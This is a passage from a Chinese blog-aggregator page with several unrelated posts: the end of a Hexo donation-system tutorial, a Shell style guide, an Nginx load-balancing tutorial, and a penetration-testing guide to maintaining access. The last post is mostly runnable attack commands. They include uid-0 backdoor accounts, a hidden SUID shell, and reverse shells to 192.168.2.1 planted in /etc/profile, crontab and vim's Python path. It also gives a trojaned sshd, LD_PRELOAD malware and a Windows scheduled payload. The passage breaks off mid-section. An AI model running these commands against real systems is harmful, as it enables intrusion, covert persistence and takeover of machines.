    注意：上面引用css不符合規範，但暫時沒有找到替代的方法。

  4. 檢查前端頁面是否能夠正常显示數據：

提醒功能

  1. 到 Qmsg醬 這裏登陸並選擇一個Qmsg醬小姐姐：

  2. 添加一個QQ號，然後添加1中的選擇的小姐姐為好友：

    注意：登陸賬號(如果QQ登陸)和添加的賬號都要添加“她”為好友。

  3. 點擊文檔，用接口地址替換下面代碼中的接口地址：

    echo '<script>function Qmsg(){var xhr=new XMLHttpRequest();url="接口地址?msg=收到新的打賞啦！";url=encodeURI(url);xhr.open("GET",url,true);xhr.send()}Qmsg();</script>';

  4. 在www目錄下編輯regist.php文件，將上面的代碼粘貼在下圖位置：

後期使用

  1. 填寫打賞問卷后，點擊返回打賞列表會跳轉到作者的打賞列表：

    想修改為自己的，可以修改虛擬主機www目錄下的index.html文件：

  2. 後期維護：

    當有人打賞后，根據填寫的打賞方式去賬戶看有沒有到賬。

    • 收到打賞：將數據庫中donate_confirm字段修改為YES

    • 未收到打賞：在數據庫中將該記錄刪除

至此，Hexo-Donate打賞系統全部安裝完成！

感謝

愛網雲、JsDelivr、Qmsg醬、亂世中的單純

FLORIN POP、濤歌依舊、Yiven、程序小能手

怪我咯、SweetAlert2、BigShow、百度經驗

不足之處，歡迎留言，會及時回復，及時更正！

創作不易，感謝支持！

本文由博客群發一文多發等運營工具平台 OpenWrite 發布

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※廣告預算用在刀口上，台北網頁設計公司幫您達到更多曝光效益

※別再煩惱如何寫文案,掌握八大原則!

※教你寫出一流的銷售文案?

※超省錢租車方案

※廣告預算用在刀口上，台北網頁設計公司幫您達到更多曝光效益

※產品缺大量曝光嗎?你需要的是一流包裝設計!

2020-12-09

Shell語法規範

Post By admin 發燒車訊 , , , , ,
  • ver：1.0
  • 博客：https://www.cnblogs.com/Rohn
  • 本文介紹了Shell編程的一些語法規範，主要參考依據為谷歌的Shell語法風格。

目錄

  • 背景
    • 使用哪一種Shell
    • 什麼時候使用Shell
  • 註釋
    • 頂層註釋
    • 功能註釋
    • TODO註釋
  • 格式
    • 縮進
    • 行的長度和長字符串
    • 管道
    • 循環
      • if-else語句
      • for-do和while-do語句
    • case語句
    • 變量擴展
  • 特性
    • 命令替換
    • 文件名的通配符擴展
  • 命名約定
    • 函數名
    • 變量名
    • 常量和環境變量名
    • 源文件名
    • 只讀變量
    • 使用本地變量
  • 調用命令
    • 檢查返回值

背景

博客：https://www.cnblogs.com/Rohn

使用哪一種Shell

可執行文件必須以 #!/bin/bash 和最小數量的標誌開始。請使用 set 來設置shell的選項，使得用 <script_name>調用你的腳本時不會破壞其功能。

推薦使用：

#!/usr/bin/env bash

env一般固定在/usr/bin目錄下，而其餘解釋器的安裝位置就相對不那麼固定。

限制所有的可執行Shell腳本為bash使得我們安裝在所有計算機中的shell語言保持一致性。

無論你是為什麼而編碼，對此唯一例外的是當你被迫時可以不這麼做的。其中一個例子是Solaris SVR4包，編寫任何腳本都需要用純Bourne shell。

[root@test ~]# echo $SHELL
/bin/bash

什麼時候使用Shell

使用Shell需要遵守的一些準則：

  • 如果你主要是在調用其他的工具並且做一些相對很小數據量的操作，那麼使用Shell來完成任務是一種可接受的選擇。
  • 如果你在乎性能，那麼請選擇其他工具，而不是使用Shell。
  • 如果你發現你需要使用數據而不是變量賦值（如 ${PHPESTATUS} ），那麼你應該使用Python腳本。
  • 如果你將要編寫的腳本會超過100行，那麼你可能應該使用Python來編寫，而不是Shell。

請記住，當腳本行數增加，儘早使用另外一種語言重寫你的腳本，以避免之後花更多的時間來重寫。

註釋

博客：https://www.cnblogs.com/Rohn

Bash只支持單行註釋，使用#開頭的都被當作註釋語句。

頂層註釋

每個文件必須包含一個頂層註釋，對其內容進行簡要概述。版權聲明和作者信息是可選的。
例如：

#!/usr/bin/env bash
# Author: Rohn
# Version: 1.0
# Created Time: 2020/06/06
# Perform hot backups of MySQL databases.
  • 第1行，指明解釋器，使用bash

#!叫做”Shebang”或者”Sha-bang”(Unix術語中，#號通常稱為sharp，hash或mesh；而!則常常稱為bang)，指明了執行這個腳本文件的解釋程序。當然，如果使用bash test.sh這樣的命令來執行腳本，那麼#!這一行將會被忽略掉。

  • 第2-5行，分別為作者、版本號、創建時間、功能說明。

功能註釋

任何不是既明顯又短的函數都必須被註釋。任何庫函數無論其長短和複雜性都必須被註釋。

其他人通過閱讀註釋（和幫助信息，如果有的話）就能夠學會如何使用你的程序或庫函數，而不需要閱讀代碼。

所有的函數註釋應該包含：

  • 函數的描述
  • 全局變量的使用和修改
  • 使用的參數說明
  • 返回值，而不是上一條命令運行后默認的退出狀態

例如：

#!/usr/bin/env bash
# Author: Rohn
# Version: 1.0
# Created Time: 2020/06/06
# Perform hot backups of Oracle databases.

export PATH='/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/root/bin'

#######################################
# Cleanup files from the backup dir
# Globals:
#   BACKUP_DIR
#   ORACLE_SID
# Arguments:
#   None
# Returns:
#   None
#######################################
cleanup() {
  ...
}

TODO註釋

TODOs應該包含全部大寫的字符串TODO，接着是括號中你的用戶名。冒號是可選的。最好在TODO條目之後加上bug或者ticket的序號。

例如：

# TODO(mrmonkey): Handle the unlikely edge cases (bug ####)

格式

博客：https://www.cnblogs.com/Rohn

縮進

縮進兩個空格，沒有製表符。例如：

if [ a > 1 ];then
  echo '${a} > 1'
fi

行的長度和長字符串

行的最大長度為80個字符。例如：

# DO use 'here document's
cat <<END;
I am an exceptionally long
string.
END

# Embedded newlines are ok too
long_string="I am an exceptionally
  long string."

管道

如果一行容不下整個管道操作，那麼請將整個管道操作分割成每行一個管段。

應該將整個管道操作分割成每行一個管段，管道操作的下一部分應該將管道符放在新行並且縮進2個空格。這適用於使用管道符|的合併命令鏈以及使用||和&&的邏輯運算鏈。

例如：

# All fits on one line
command1 | command2

# Long commands
command1 \
  | command2 \
  | command3 \
  | command4

循環

if-else語句

if和; then放在同一行，;后空一格，else單獨一行，fi單獨一行，並與if垂直對齊。即：

if condition; then
  statement(s)
else
  statement(s)
fi

for-do和while-do語句

while/for和; do放在同一行，done與while/for垂直對齊，即：

# while structure
while condition; do
  statement(s)
done

# for structure
for condition; do
  statement(s)
done

例如：

for dir in ${dirs_to_cleanup}; do
  if [[ -d "${dir}/${ORACLE_SID}" ]]; then
    log_date "Cleaning up old files in ${dir}/${ORACLE_SID}"
    rm "${dir}/${ORACLE_SID}/"*
    if [[ "$?" -ne 0 ]]; then
      error_message
    fi
  else
    mkdir -p "${dir}/${ORACLE_SID}"
    if [[ "$?" -ne 0 ]]; then
      error_message
    fi
  fi
done

case語句

  • 通過2個空格縮進可選項。
  • 在同一行可選項的模式右圓括號之後和結束符 ;;之前各需要一個空格。
  • 長可選項或者多命令可選項應該被拆分成多行，模式、操作和結束符;;在不同的行。

匹配表達式比case和esac 縮進一級。多行操作要再縮進一級。一般情況下，不需要引用匹配表達式。模式表達式前面不應該出現左括號。避免使用;&和;;&符號。即：

# case structure
case in expression in
  pattern1)
    statement1
    ;;
  pattern2)
    statement2
    ;;
  ...
  *)
    statementn
    ;;
esac

例如：

case "${expression}" in
  a)
    variable="..."
    some_command "${variable}" "${other_expr}" ...
    ;;
  absolute)
    actions="relative"
    another_command "${actions}" "${other_expr}" ...
    ;;
  *)
    error "Unexpected expression '${expression}'"
    ;;
esac

只要整個表達式可讀，簡單的命令可以跟模式和;; 寫在同一行。這通常適用於單字母選項的處理。當單行容不下操作時，請將模式單獨放一行，然後是操作，最後結束符;; 也單獨一行。當操作在同一行時，模式的右括號之後和結束符;;之前請使用一個空格分隔。

verbose='false'
aflag=''
bflag=''
files=''
while getopts 'abf:v' flag; do
  case "${flag}" in
    a) aflag='true' ;;
    b) bflag='true' ;;
    f) files="${OPTARG}" ;;
    v) verbose='true' ;;
    *) error "Unexpected option ${flag}" ;;
  esac
done

變量擴展

按優先級順序：保持跟你所發現的一致；引用你的變量；推薦用${var}而不是$var 。

例如

# Section of recommended cases.

# Preferred style for 'special' variables:
echo "Positional: $1" "$5" "$3"
echo "Specials: !=$!, -=$-, _=$_. ?=$?, #=$# *=$* @=$@ \$=$$ ..."

# Braces necessary:
echo "many parameters: ${10}"

# Braces avoiding confusion:
# Output is "a0b0c0"
set -- a b c
echo "${1}0${2}0${3}0"

# Preferred style for other variables:
echo "PATH=${PATH}, PWD=${PWD}, mine=${some_var}"
while read f; do
  echo "file=${f}"
done < <(ls -l /tmp)

# Section of discouraged cases

# Unquoted vars, unbraced vars, brace-quoted single letter
# shell specials.
echo a=$avar "b=$bvar" "PID=${$}" "${1}"

# Confusing use: this is expanded as "${1}0${2}0${3}0",
# not "${10}${20}${30}
set -- a b c
echo "$10$20$30"

特性

博客：https://www.cnblogs.com/Rohn

命令替換

使用 $(command)而不是反引號。

嵌套的反引號要求用反斜杠轉義內部的反引號。而$(command) 形式嵌套時不需要改變，而且更易於閱讀。

例如：

# This is preferred:
var="$(command "$(command1)")"

# This is not:
var="`command \`command1\``"

文件名的通配符擴展

當進行文件名的通配符擴展時，請使用明確的路徑。

因為文件名可能以-開頭，所以使用擴展通配符./*比*來得安全得多。

# Here's the contents of the directory:
# -f  -r  somedir  somefile

# This deletes almost everything in the directory by force
psa@bilby$ rm -v *
removed directory: `somedir'
removed `somefile'

# As opposed to:
psa@bilby$ rm -v ./*
removed `./-f'
removed `./-r'
rm: cannot remove `./somedir': Is a directory
removed `./somefile'

命名約定

博客：https://www.cnblogs.com/Rohn

函數名

使用小寫字母，並用下劃線分隔單詞。使用雙冒號 :: 分隔庫。函數名之後必須有圓括號。關鍵詞 function 是可選的，但必須在一個項目中保持一致。

如果你正在寫單個函數，請用小寫字母來命名，並用下劃線分隔單詞。如果你正在寫一個包，使用雙冒號 :: 來分隔包名。大括號必須和函數名位於同一行（就像在Google的其他語言一樣），並且函數名和圓括號之間沒有空格。

# Single function
my_func() {
  ...
}

# Part of a package
mypackage::my_func() {
  ...
}

當函數名后存在 () 時，關鍵詞 function 是多餘的。但是其促進了函數的快速辨識。

變量名

使用小寫字母，循環的變量名應該和循環的任何變量同樣命名。例如：

for zone in ${zones}; do
  something_with "${zone}"
done

常量和環境變量名

全部使用大寫字母，用下劃線分隔，聲明在文件的頂部。例如：

# Constant
readonly PATH_TO_FILES='/some/path'

# Both constant and environment
declare -xr ORACLE_SID='PROD'

源文件名

使用小寫字母，如果需要的話使用下劃線分隔單詞。例如： maketemplate 或者 make_template ，而不是 make-template 。

只讀變量

使用小寫字母，使用 readonly 或者 declare -r 來確保變量只讀。

因為全局變量在Shell中廣泛使用，所以在使用它們的過程中捕獲錯誤是很重要的。當你聲明了一個變量，希望其只讀，那麼請明確指出。

zip_version="$(dpkg --status zip | grep Version: | cut -d ' ' -f 2)"
if [[ -z "${zip_version}" ]]; then
  error_message
else
  readonly zip_version
fi

使用本地變量

使用小寫字母，使用 local 聲明特定功能的變量。聲明和賦值應該在不同行。

使用 local 來聲明局部變量以確保其只在函數內部和子函數中可見。這避免了污染全局命名空間和不經意間設置可能具有函數之外重要性的變量。

當賦值的值由命令替換提供時，聲明和賦值必須分開。因為內建的 local 不會從命令替換中傳遞退出碼。

my_func2() {
  local name="$1"

  # Separate lines for declaration and assignment:
  local my_var
  my_var="$(my_func)" || return

  # DO NOT do this: $? contains the exit code of 'local', not my_func
  local my_var="$(my_func)"
  [[ $? -eq 0 ]] || return

  ...
}

調用命令

博客：https://www.cnblogs.com/Rohn

檢查返回值

對於非管道命令，使用$?或直接通過一個if語句來檢查以保持其簡潔。例如：

if ! mv "${file_list}" "${dest_dir}/" ; then
  echo "Unable to move ${file_list} to ${dest_dir}" >&2
  exit "${E_BAD_MOVE}"
fi

# Or
mv "${file_list}" "${dest_dir}/"
if [[ "$?" -ne 0 ]]; then
  echo "Unable to move ${file_list} to ${dest_dir}" >&2
  exit "${E_BAD_MOVE}"
fi

Bash也有 PIPESTATUS 變量，允許檢查從管道所有部分返回的代碼。如果僅僅需要檢查整個管道是成功還是失敗，以下的方法是可以接受的：

tar -cf - ./* | ( cd "${dir}" && tar -xf - )
if [[ "${PIPESTATUS[0]}" -ne 0 || "${PIPESTATUS[1]}" -ne 0 ]]; then
  echo "Unable to tar files to ${dir}" >&2
fi

可是，只要你運行任何其他命令， PIPESTATUS 將會被覆蓋。如果你需要基於管道中發生的錯誤執行不同的操作，那麼你需要在運行命令后立即將 PIPESTATUS 賦值給另一個變量（別忘了 [ 是一個會將 PIPESTATUS 擦除的命令）。

tar -cf - ./* | ( cd "${DIR}" && tar -xf - )
return_codes=(${PIPESTATUS[*]})
if [[ "${return_codes[0]}" -ne 0 ]]; then
  do_something
fi
if [[ "${return_codes[1]}" -ne 0 ]]; then
  do_something_else
fi

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※別再煩惱如何寫文案,掌握八大原則!

※網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

※超省錢租車方案

※教你寫出一流的銷售文案?

※網頁設計最專業,超強功能平台可客製化

※產品缺大量曝光嗎?你需要的是一流包裝設計!

2020-12-09

【從單體架構到分佈式架構】（三）請求增多，單點變集群(2)：Nginx

Post By admin 發燒車訊 , , , , , 
上一個章節，我們學習了負載均衡的理論知識，那麼是不是把應用部署多套，前面掛一個負載均衡的軟件或硬件就可以應對高併發了？其實還有很多問題需要考慮。比如：

1. 當一台服務器掛掉，請求如何轉發到其他正常的服務器上？
2. 掛掉的服務器，怎麼才能不再訪問？
3. 如何保證負載均衡的高可用性？

等等等等...

讓我們帶着這些問題，實戰學習一下 Nginx 的配置和使用。

1. 前置概念

在正式介紹 Nginx 之前，首先讓我們先了解一下概念。

1. 中間件

干 IT 太累了，我準備辭職開了個燒烤攤，賣羊肉串；

賣羊肉串首先就得有羊肉，於是我就聯繫了很多養殖場，我又是一個比較負責任的人，為了保證羊肉的質量，我就去考察了一家又一家養殖場，同時我也是個“小氣”的人，所以我考察過程中，和對方談判、比價，最終選了一個養殖場作為我的羊肉供應商，為我提供羊肉。

經營了一陣子，這個養殖場提供的羊肉質量沒有以前好了，那麼我就重新考察、談判、比價，如此反覆，我投入了大量的時間和精力。

於是我找到了一個信得過的代理公司，約定要羊肉的質量和數量，談好價錢，以後我只找代理商拿貨，具體代理商找的哪家養殖場我不去過問，甚至代理商可以送貨上門。

在這個例子裏面，賣燒烤就是業務，我的燒烤攤是業務端，養殖場是底層，而 這個信得過的代理公司，就是中間件。

2. 正向代理和反向代理

正向代理：我住在北京，但是想回老家買套房，但是我沒辦法親自回老家考察，於是我就派我的管家回老家考察；管家就是正向代理服務器；正向代理服務器代表了客戶端，在正向代理的過程中，服務端只和代理服務器打交道（房東只和我的管家談），並不知道真正的客戶端是誰。

反向代理：我住在北京，但是想回老家買套房，但是我沒辦法親自回老家考察，於是我打個電話聯繫了老家的房屋中介去辦這件事兒；房屋中介就是反向代理；這裏的反向代理，代表的是房東，在反向代理的過程中，客戶端只和反向代理服務器打交道，並不知道真正的服務端是誰。

當然，我的管家也可以聯繫我老家的房屋中介，那麼架構圖就會變成：

2. Nginx 的概念

了解完上面的幾個概念，那麼 Nginx 的概念理解起來就簡單很多了：

Nginx 就是一個開源的、高性能的、可靠的 Http 中間件； 它經常被用作 Http 代理、反向代理、負載均衡等等，當然它也能做正向代理，但是實際很少有這麼用的。

3. 最簡單的 Nginx 使用示例

本章節項目的代碼：chapter3

Step 1. 部署多套環境

我們將章節 1 中的項目 chapter1 複製出來一份，改名為 chapter3，表示是第 3 章節的項目，同時修改：

1. pom.xml 中的 artifactId 修改為 chapter3
2. application.yml 中的 server.port 修改成 8089

這樣我們分別啟動 chapter1 和 chapter3，這樣就相當於把相同的項目部署了兩套，端口分別是 8088 和 8089 。

Step 2. 下載 Nginx

我們可以在 Nginx 的官網 下載我們所需的版本，因為我使用 windows 環境開發，所以我在這裏就選擇了 nginx/Windows-1.14.2 這個版本。

下載完成解壓縮，不需要額外的安裝，可以直接使用。

Step 3. 配置 Nginx

進入 nginx-1.14.2\conf 目錄下，用文本編輯器打開 nginx.conf，對配置文件進行如下修改：

1. 在 http 中增加 upstream，並配置兩台環境的地址；
2. 在 http.server.location 中增加 proxy_pass 的配置；

http {
    ...

    #增加 upstream 的配置，其中 myserver 是自己起的名字
    upstream myserver{
	     server 127.0.0.1:8088;  #有幾套環境，就配置幾條
	     server 127.0.0.1:8089;
    }

    server {
        listen       80;
        server_name  localhost;

        #charset koi8-r;

        #access_log  logs/host.access.log  main;

        location / {
            root   html;
            index  index.html index.htm;
            proxy_pass  http://myserver; #增加，其中 http://myserver 的 myserver 要和上文對應
        }

      }
    }
    ...
}

完整配置文件請參考：nginx.conf

Step 4. 啟動 Nginx

我們可以直接雙擊 nginx-1.14.2 目錄下的 nginx.exe 啟動；也可以通過 cmd 命令打開控制台，進入 nginx-1.14.2 目錄執行如下命令啟動 Nginx：

start nginx //啟動 Nginx ；啟動后可能一閃而過，我們可以看一下任務管理器是否有名字叫做 nginx.exe 的進程

nginx.exe -s stop //停止 Nginx
nginx.exe -s quit //停止 Nginx

Step 5. 測試 Nginx

讓我們測試一下 Nginx 是否配置並啟動成功，打開瀏覽器輸入：

http://127.0.0.1/queryAdmin

注意這裏並沒有加端口號，是因為 url 中沒有端口號的時候表示端口號為 80，而我們 Nginx 的配置文件中，監聽的正是 80 端口 (listen 80)；我們可以在瀏覽器中看到服務返回的結果：

User : Admin

這就說明 Nginx 已經轉發了我們的請求到了服務端，並正確返回，那麼負載均衡是如何體現的呢？讓我們多刷新幾次瀏覽器，然後看看後台日誌：

我前後一共調用了 5 次服務，可以看到兩個服務端分別接收到了 2 次和 3 次請求，負載均衡達到了效果。

4. Nginx 常見的路由策略

1. 輪詢法

最簡單的輪詢法，多餘的配置不需要增加。

upstream myserver{
   server 127.0.0.1:8088;  # 有幾套環境，就配置幾條
   server 127.0.0.1:8089;
}

2. 源地址哈希法

使用 ip_hash 關鍵字，每一個請求，都按 hash(IP) 的結果決定訪問哪台服務器；

upstream myserver{
   ip_hash; # hash(IP)
   server 127.0.0.1:8088;  # 有幾套環境，就配置幾條
   server 127.0.0.1:8089;
}

如果我們本地測試，多次訪問接口，可以發現請求永遠落到同一個服務上，因為本地 IP 一直沒有改變。

3. 加權輪詢法

使用 weight 關鍵字，設置每台服務器的權重；

upstream myserver{
   server 127.0.0.1:8088 weight=1;  # 20% 請求會發給8088
   server 127.0.0.1:8089 weight=4;
}

4. 最小連接數法

根據每個服務器節點的連接數，動態地選擇當前連接數最少的服務器轉發請求；

upstream myserver{
   least_conn;
   server 127.0.0.1:8088;
   server 127.0.0.1:8089;
}

5. 最快響應速度法

根據每個服務器節點的響應時間（請求的往返延遲），動態地選擇當前響應速度最快的服務器轉發請求；需要額外安裝 nginx-upstream-fair 模塊。

upstream myserver{
   fair; # 額外安裝 nginx-upstream-fair 模塊
   server 127.0.0.1:8088;
   server 127.0.0.1:8089;
}

6. URL 哈希算法

對 URL 進行 Hash 運算，根據結果來分配請求，這樣每個 URL 都可以訪問到同一個服務端；當服務端有緩存的時候，比較有效。

upstream myserver{
   hash $request_uri;
   server 127.0.0.1:8088;  # 有幾套環境，就配置幾條
   server 127.0.0.1:8089;
}

也可以安裝第三方模塊，比如我們要使用 URL 一致性哈希算法，那麼我們可以安裝 ngx_http_upstream_consistent_hash 模塊。

upstream myserver{
   consistent_hash $request_uri;
   server 127.0.0.1:8088;
   server 127.0.0.1:8089;
}

參考資料：Upstream Consistent Hash

5. Nginx 常用功能

5.1 請求失敗重試

當一台服務器掛掉，請求如何轉發到其他正常的服務器上？

我們可以先做個試驗，就是關閉 8089 端口的服務，只保留 8088 端口的服務，然後調用幾次接口，如果其中一次調用長時間不返回（瀏覽器訪問狀態圖標一直在打轉），表示本次請求發送到了 8089 端口，那麼讓我們等待一段時間…大約一分鐘之後，8080 端口服務的後台日誌，打印出來日誌，調用端接收到了返回，這說明：

  1. Nginx 默認有失敗重試機制；
  2. 默認的超時時間為 60s 。

這裏的超時時間是可以修改的，需要在 http.server.location 中增加如下配置：

location / {
            root   html;
            index  index.html index.htm;
            proxy_pass  http://myserver;
            proxy_connect_timeout 5; # 連接超時時間
            proxy_send_timeout 5; # 發送數據給後端服務器的超時時間
            proxy_read_timeout 5; # 後端服務器的相應時間
            #proxy_next_upstream off; # 是否要關閉重試機制
        }

完整配置文件請參考：設置超時重試時間5秒-nginx.conf

不過這裏要注意一點，如果設置了服務器相應超時時間(比如設置了 10s )，萬一應用的業務處理時間比較慢(業務處理花費了 15s )，那麼會導致 Nginx 超時重試，那麼可能會造成重複處理。

5.2 後端服務器節點健康狀態檢查

如果掛掉一台服務器，路由到這台服務器請求每次都要等到超時時間過去，才能發起重試，如果 Nginx 不再把請求發送給掛掉的服務器，那就省事多了；

這就叫做“後端服務器節點健康狀態檢查”。

如果不安裝第三方模塊，可以做如下配置完成“後端服務器節點健康狀態檢查”：

1. 設置超時時間：

location / {
            root   html;
            index  index.html index.htm;
            proxy_pass  http://myserver;
            proxy_connect_timeout 5; # 連接超時時間
            proxy_send_timeout 5; # 發送數據給後端服務器的超時時間
            proxy_read_timeout 5; # 後端服務器的相應時間
            #proxy_next_upstream off; # 是否要關閉重試機制
        }

2. 設置嘗試重試的次數：

upstream myserver{
  	server 127.0.0.1:8088 max_fails=1 fail_timeout=100s;
  	server 127.0.0.1:8089 max_fails=1 fail_timeout=100s;
}

其中 max_fails 表示最多失敗次數，fail_timeout 表示在一個時間段內，服務器不會再次嘗試訪問；上面的配置表示在 100s 內，只要超時失敗 1 次，就不再訪問該服務器。

完整配置文件請參考：設置超時重試時間5s-失敗1次100秒之內不再訪問-nginx.conf

除此之外，我們還可以安裝第三方模塊來實現“後端服務器節點健康狀態檢查”：

  • nginx_upstream_check_module
  • ngx_http_healthcheck_module

5.3 Nginx 的高可用

以為使用 Nginx ，部署了多台應用服務器，可以保證應用服務器的高可用（掛掉一台，還有其他服務器可以用）；

但是如何保證負載均衡的高可用性？也就是萬一 Nginx 掛了怎麼辦？

Nginx 同樣也需要部署多台，架構大概是這個樣子的：

現在應用比較廣泛的是利用 keepalived 實現 Nignx 的高可用：

5.4 其他

除了以上的常見功能，強大的 Nginx 還可以：

  1. 限制 IP 訪問頻率和帶寬佔用；
  2. 緩存靜態資源；
  3. 文件壓縮；
  4. TCP 負載；
  5. 防盜鏈；
  6. 等等等等…

總結

我們現在的架構已經變成了：

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※教你寫出一流的銷售文案?

※廣告預算用在刀口上，台北網頁設計公司幫您達到更多曝光效益

※回頭車貨運收費標準

※別再煩惱如何寫文案,掌握八大原則!

※超省錢租車方案

※產品缺大量曝光嗎?你需要的是一流包裝設計!

2020-12-09

滲透測試-權限維持

Post By admin 發燒車訊 , , , , ,

linux權限維持

添加賬號

一般在具有root權限時可以使用以下2種方式添加root權限用戶

1.通過useradd，後面賬號backdoor/123456

useradd -u 0 -o -g root -G root backdoor

echo 123456:password|chpasswd

2.通過直接對etc/passwd文件進行寫入

perl -e 'print crypt("123456", "AA"). "\n"' #首先用perl算一下123456加密后的結果

# 123456加密后的結果為AASwmzPNx.3sg

echo "backdoor:123456:0:0:me:/root:/bin/bash">>/etc/passwd	#直接寫入etc/passwd中

清理以上痕迹

userdel -f backdoor

設置sid位的文件

在具有高權限時，將高權限的bash文件拷貝隱藏起來，設置其suid位，則可後面通過低權限用戶獲取高權限操作

在高權限時

cp /bin/bash /tmp/.bash

chmod 4755 /tmp/.bash  #設置suid

使用時帶上-p參數

/tmp/.bash -p

清理痕迹

rm -rf /tmp/.bash

通過環境變量植入後門

以下是環境變量的位置

/etc/profile
/etc/profile.d/*.sh
~/.bash_profile
~/.profile
~/.bashrc
~/bash_logout
/etc/bashrc
/etc/bash.bashrc

寫入shell反彈語句

echo 'bash -i >& /dev/tcp/192.168.2.1/7777 0>&1' >> /etc/profile

這樣在重啟的時候就會彈shell過來了,會根據登的哪個賬號彈哪個賬號的shell

以下文件需要高權限，為全局變量

/etc/profile
/etc/profile.d/*.sh
/etc/bashrc
/etc/bash.bashrc

以下為當前用戶的環境變量

~/.bash_profile		#實驗過程中沒有反應
~/.profile				#登錄後會接收shell，但是加載桌面時會卡住
~/.bashrc					#打開shell窗口時會接收shell，但正常的shell窗口會卡住
~/bash_logout			#實驗過程中沒有反應

清理痕迹

刪除配置文件中添加的代碼即可

寫入ssh公鑰

首先在本地生成ssh公鑰和私鑰

在自己的~/.ssh/目錄下執行

ssh-keygen -t rsa

會生成以下三個文件，id_rsa.pub為公鑰，id_rsa為私鑰

id_rsa      id_rsa.pub  known_hosts

xxx為公鑰內容，也就是id_rsa.pub的內容

echo "xxx" >> ~/.ssh/authorized_keys

清理痕迹

刪除目標上的 ~/.ssh/authorized_keys即可

ssh任意密碼登錄

在root用戶時，su，chfn，chsh命令不需要輸入密碼認證

通過軟連接將ssh的服務進行cp，並重命名為以上命令

ln -sf /usr/sbin/sshd /tmp/su				#將sshd做軟連接，軟連接文件名為su或chfn或chsh
/tmp/su -oPort=12345								#通過軟連接的文件，開啟ssh連接-oPort指定開啟端口

連接

ssh root@host -p 12345

#密碼隨便輸入即可登錄,並且可登錄任意賬號

清理方式

netstat -antp | gerp -E "su|chfn|chsh"
#找到進程號xxx
ps aux | grep xxx
#找到軟連接位置/aaa/bbb/su
kill xxx
rm -rf /aaa/bbb/su

修改sshd文件做到無認證登錄

建立連接時ssh服務器端使用的是sshd文件來管理接收到的連接，此時對sshd文件內容進行修改，則能做到無認證登錄

將原先的sshd文件進行轉義

mv /usr/sbin/sshd /usr/bin/sshd

開始使用perl進行寫腳本

echo '#!/usr/bin/perl' > /usr/sbin/sshd
echo 'exec "/bin/bash -i" if (getpeername(STDIN) =~ /^..LF/);' >> /usr/sbin/sshd
echo 'exec {"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >> /usr/sbin/sshd

其實整個腳本在第二行執行了個if，如果端口符合要求，則直接建立連接，否則正常執行sshd

其中的LF代表開啟的端口號是19526

python2
>> import struct
>> print struct.pack('>I6',19526) 
#輸出的內容為 LF

賦予新文件權限並重啟sshd

chmod u+x sshd
service sshd restart

連接方式

socat STDIO TCP4:172.16.177.178:22,bind=:19526

清除痕迹

#刪除自定義的sshd
rm -rf /usr/sbin/sshd
#將同版本的sshd拷貝到對應目錄下
mv /usr/bin/sshd /usr/sbin/sshd

利用vim可執行python腳本預留後門

先準備個python的反彈shell腳本

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.2.1",7778));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

找到提供vim插件的python的擴展包目錄

vim --version  #查看使用的python版本

找到python的擴展位置

pip show requests

進入目錄

cd /usr/lib/python2.7/site-packages

將內容寫入

echo 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.2.1",7778));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' > dir.py

運行，並刪除文件

$(nohup vim -E -c "pyfile dir.py"> /dev/null 2>&1 &) && sleep 2 && rm -f dir.py

清除痕迹

ps aux|grep vim
#獲取pid
kill pid

計劃任務

因為計劃任務使用的是/bin/sh,所以傳統的直接通過bash反彈shell是行不通的

這裏藉助python，或者perl都可

使用python

echo -e "*/1 * * * * python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.2.1\",7778));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"|crontab -

使用perl

echo -e "*/1 * * * * perl -e 'use Socket;\$i=\"192.168.2.1\";\$p=7778;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in(\$p,inet_aton(\$i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'"|crontab -

清除痕迹

如果通過crontab -e 不知道為啥會頂掉上一個

crontab -l			#只看得到一個
crontab -r			#刪除所有計劃任務

動態加載庫

使用export LD_PRELOAD=./xx.so

這時候./xx.so中如果對函數進行了重定義，調用了該函數的程序就會執行重定義的代碼

這裏使用以下項目

https://github.com/Screetsec/Vegile

準備2個文件

  • msf的木馬
  • Veglie項目

使用方法將MSF木馬和Vegile上傳到目標服務器上，把項目目錄弄成http服務

python -m SimpleHTTP

目標服務器上

wget http://xxx.xxx.xx.xxx:8000/Vegile.zip
wget http://xxx.xxx.xx.xxx:8000/shell

解壓后運行

unzip Vegile.zip
chmod 777 Vegile shell
./Vegile --u shell

清理痕迹

清理起來十分麻煩，因為直接刪除進程是刪不掉的，因此存在父進程與多個子進程

清理思路掛起父進程，清除所有子進程再刪除父進程

windows權限維持

比較常見的windows提取

ms14_058 內核模式驅動程序中的漏洞可能允許遠程執行代碼
ms16_016 WebDAV本地提權漏洞(CVE-2016-0051)
ms16_032 MS16-032 Secondary Logon Handle 本地提權漏漏洞

計劃任務

拿到shell后先修改編碼

chcp 65001

設置計劃任務，每分鐘調用運行一次shell

schtasks /create /tn shell /tr C:\payload.exe /sc minute /mo 1 /st 10:30:30 /et 10:50:00

清理痕迹

控制面板->管理工具->任務計劃程序->找到惡意計劃任務
在 操作 中找到調用的腳本，進行文件刪除
刪除惡意計劃任務

映像劫持

在程序運行前會去讀自己是否設置了debug，需要對劫持的程序有權限

